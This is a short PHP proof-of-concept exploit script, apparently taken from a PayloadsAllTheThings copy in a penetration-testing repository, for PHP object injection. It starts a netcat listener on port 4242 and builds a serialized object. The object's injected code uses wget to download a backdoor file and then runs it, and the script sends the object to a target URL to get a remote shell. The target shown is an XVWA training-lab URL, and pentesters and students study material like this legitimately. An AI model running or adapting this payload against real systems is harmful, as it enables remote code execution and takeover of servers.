killchain-compendium/misc/PayloadsAllTheThings/Insecure Deserialization/Files/PHP-Serialization-RCE-Explo...

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2022-05-31 21:08:28 +02:00
<?php
/*
PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://crowdshield.com
A simple PoC to exploit PHP Object Injections flaws and gain remote shell access.
Shouts to @jstnkndy @yappare for the assist!
NOTE: This requires http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz setup on a remote host with a connect back IP configured
*/
print "==============================================================================\r\n";
print "PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
print "==============================================================================\r\n";
print "[+] Generating serialized payload...[OK]\r\n";
print "[+] Launching reverse listener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp 4242\'');
class PHPObjectInjection
{
// CHANGE URL/FILENAME TO MATCH YOUR SETUP
public $inject = "system('wget http://127.0.0.1/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
}
$url = 'http://localhost/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TO TARGET URL/PARAMETER
$url = $url . urlencode(serialize(new PHPObjectInjection));
print "[+] Sending exploit...[OK]\r\n";
print "[+] Dropping down to interactive shell...[OK]\r\n";
print "==============================================================================\r\n";
$response = file_get_contents("$url");
?>